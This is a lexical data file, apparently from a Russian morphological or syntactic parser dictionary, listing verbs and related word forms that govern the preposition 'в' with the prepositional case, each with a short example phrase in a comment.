rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, // Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. 